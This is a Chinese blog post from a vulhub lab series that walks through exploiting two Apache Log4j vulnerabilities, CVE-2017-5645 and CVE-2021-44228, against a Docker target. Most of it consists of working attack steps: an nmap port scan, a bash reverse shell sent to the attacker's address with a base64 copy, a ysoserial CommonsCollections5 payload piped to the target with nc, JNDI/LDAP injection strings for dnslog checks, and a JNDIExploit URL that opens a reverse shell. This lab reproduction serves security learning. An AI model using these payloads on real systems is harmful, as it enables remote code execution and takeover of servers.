• (七)vulhub专栏:Log4j远程代码执行漏洞复现


    Log4j CVE-2017-5645反序列化漏洞

    影响范围

    Apache Log4j 2.x <= 2.8.2

    漏洞成因

    Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

    漏洞利用

    环境准备

    名称IP
    攻击机192.168.75.162
    靶机192.168.75.146

    首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可

    cd vulhub-master/log4j/CVE-2017-5645
    docker-compose up -d
    
    • 1
    • 2

    然后进入攻击机里使用nmap扫描全端口:

    nmap -sS 192.168.75.146 -p 1-65535 -v
    
    • 1

    在这里插入图片描述

    漏洞复现

    首先准备好生成利用的工具:ysoserial.jar

    工具验证漏洞是否存在

    在这里插入图片描述

    在这里插入图片描述

    可以看出存在log4j漏洞

    POC:

    //反弹shell命令,注意替换为自己的
    bash -i >& /dev/tcp/192.168.75.162/6666 0>&1
    //base64加密
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=
    
    • 1
    • 2
    • 3
    • 4

    接下来新打开一个cmd窗口执行以下命令:

    nc -lvvp 6666
    
    • 1

    监听启动后我们使用payload:

    java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE2Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" | nc 192.168.75.146 4712
    
    • 1

    访问上述地址后,可以看到如下图,反弹shell成功,此漏洞利用成功

    在这里插入图片描述

    Log4j CVE-2021-44228远程代码执行漏洞

    影响范围

    Apache Log4j 2.x <= 2.14.1

    漏洞成因

    Log4j2默认支持解析ldap/rmi协议,并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容(会提供一个恶意的Class文件)的ldap协议内容(如:恶意内容${jndi:ldap://localhost:9999/Test}恶意内容),该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

    漏洞利用

    环境准备

    名称IP
    攻击机192.168.75.162
    靶机192.168.75.146

    首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8983即可

    cd vulhub-master/log4j/CVE-2021-44228
    docker-compose up -d
    
    • 1
    • 2

    image-20220721143339286

    漏洞复现

    首先准备好生成利用的工具:JNDIExploit-1.2-SNAPSHOT.jar

    在利用漏洞之前,需要先判断目标是否出网,这里我们采用ceye来判断,也可以使用dnslog

    POC:#记得修改xxx.dnslog.cn为自己的,下方二选一

    ${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
    ${jndi:rmi://${sys:java.version}.xxx.dnslog.cn}
    
    • 1
    • 2

    然后访问链接:

    http://192.168.75.146:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}
    
    • 1

    image-20220721145718365

    接下来在ceye或dnslog端即可看见java版本信息了,如下图所示,若无信息返回,则代表不出网

    image-20220721145902427

    接下来我们通过准备好的利用工具,输入如下指令

    java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.75.162
    
    • 1

    执行完上述命令会开启ldap和http服务,如下图所示:

    image-20220721152200190

    接下来新打开一个cmd窗口执行以下命令:

    nc -lvvp 6666
    
    • 1

    监听启动后我们在浏览器输入:

    http://192.168.75.146:8983/solr/admin/cores?action=${jndi:ldap://192.168.75.162:1389/Basic/ReverseShell/192.168.75.162/6666}
    
    • 1

    访问上述地址后,可以看到如下图,反弹shell成功,此漏洞利用成功

    image-20220721152316739

  • 相关阅读:
    升级pip 升级pip3的快速方法
    7. Django 模型与数据库
    为FMX项目设置全局日期格式
    [2022-12-06]神经网络与深度学习hw11 - 各种优化算法比较
    大型连锁百货运维审计用什么软件好?有哪些功能?
    Dynamic Bone ——Unity 3D动态骨骼插件
    3.81 OrCAD软件绘制原理图时如何使用任意角度的走线?OrCAD软件怎么统一查看哪些元器件是没有PCB封装的?
    电信行业信创发展前景广阔 如何选择可靠的信创传输软件?
    什么是 ABC NFT 系列?
    基于Python的豆瓣电影排行榜,可视化系统
  • 原文地址:https://blog.csdn.net/u014536801/article/details/125913490